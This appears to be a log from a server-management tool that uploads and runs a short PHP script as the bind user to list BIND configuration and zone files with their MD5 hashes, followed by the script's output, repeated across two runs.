MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 14c1edeb05e4031ffc2f3b7e0fb4d902
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 14:14:45: Establishing a connection
2026-02-09 14:14:46: 

PUT: /tmp/pkp259188

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 14:14:46: 

runuser -l bind -s /bin/bash -c '/tmp/pkp259188; rm /tmp/pkp259188'

2026-02-09 14:14:46: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 14c1edeb05e4031ffc2f3b7e0fb4d902
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 14:14:48: Establishing a connection
2026-02-09 14:14:48: 

PUT: /tmp/pkp573282

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 14:14:48: 

runuser -l bind -s /bin/bash -c '/tmp/pkp573282; rm /tmp/pkp573282'

2026-02-09 14:14:48: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
